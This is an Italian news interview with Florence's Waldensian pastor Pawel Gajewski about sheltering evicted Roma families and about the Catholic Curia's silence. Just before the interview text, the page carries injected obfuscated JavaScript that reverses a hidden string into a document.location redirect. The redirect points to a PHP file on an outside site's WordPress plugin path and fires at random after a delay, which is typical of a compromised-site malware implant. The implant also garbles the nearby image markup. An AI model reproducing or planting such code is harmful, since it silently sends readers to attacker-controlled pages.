Per gli "ultimi" le chiese cattoliche rimangono chiuse. I valdesi "Colpiti dal silenzio della Curia"

Il pastore della Chiesa valdese: erano disperati, li abbiamo accolti.

di Mario Neri

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/01/Gajewski.jpg”>Gajewski«Forse siamo stati ingenui, ma abbiamo agito d´istinto, spinti dalla voglia di aiutare il prossimo. Nessuno può privarci della libertà di dare accoglienza a persone disperate, che per due giorni hanno dormito al freddo». Pawel Gajewski, 45 anni, pastore della chiesa valdese fiorentina risponde così all´assessore Stefania Saccardi, che venerdì aveva accusato la sua comunità di aver gestito l´emergenza dei rom sgomberati dall´Osmatex in modo scorretto, senza un coordinamento con le istituzioni. «Ora l´assessore è fra i pochi ad averci aiutati trovando per i rom 23 posti letto. Ci ha colpito il silenzio della Curia».

Pastore, intende dire che ne avete sentito l´assenza?
«Sì. Sarebbe bastata una presenza fisica o solo una telefonata di solidarietà. Non c´è stato niente. Ma è un discorso che riguarda unicamente la curia, non la Caritas. Un silenzio che sbigottisce soprattutto perché questa è la settimana dell´unità di tutti i cristiani. Sarebbe stata l´occasione per fare qualcosa insieme, ma…».

E le istituzioni?
«Rispondo con i fatti. Qui sono venuti Valdo Spini, che si è mosso come valdese e come consigliere comunale, e l´assessore regionale Toschi. Prima di arrivare a Firenze, i colleghi piemontesi dicevano di invidiarmi perché stavo andando nella città della cultura e della solidarietà. Apprezzo la legge regionale sull´immigrazione, ma credo che gli standard culturali della Toscana siano esattamente quelli di tutto il Paese, fatti di chiaroscuri».

Cosa le lascia questa esperienza?
«Ho imparato a guardare i rom con occhi diversi. Ci sono differenze, ma non li integreremo imponendogli i nostri modelli sociali. Con l´aiuto del Comune abbiamo trovato un posto a tutte e 90 le persone. Alcuni andranno in una nostra villa a Reggello, a 15 pagheremo un albergo per due settimane, altri sono stati accolti dalle suore benedettine e dalla Chiesa dei fratelli, e alcuni torneranno in Romania».

Tutto grazie alle offerte dei valdesi.
«I soldi aiutano ma non servono a risolvere un´emergenza umanitaria. E´ grazie a persone come Debora Spini e Alessandro Sansone che abbiamo superato questo momento. Ora ci aspetta la fase B, per dare un futuro ai rom. Servono assistenti sociali e persone come Paola Reggiani, la sorella di Giovanna Reggiani, la donna che due anni fa fu massacrata e uccisa a Roma proprio da un rom. Mi sbalordisco ancora nel guardarla. Dal 2007 lavora con progetti umanitari a favore di famiglie rom ed è sempre stata qui. Trovatemi un esempio più alto di amore».

[Fonte Repubblica]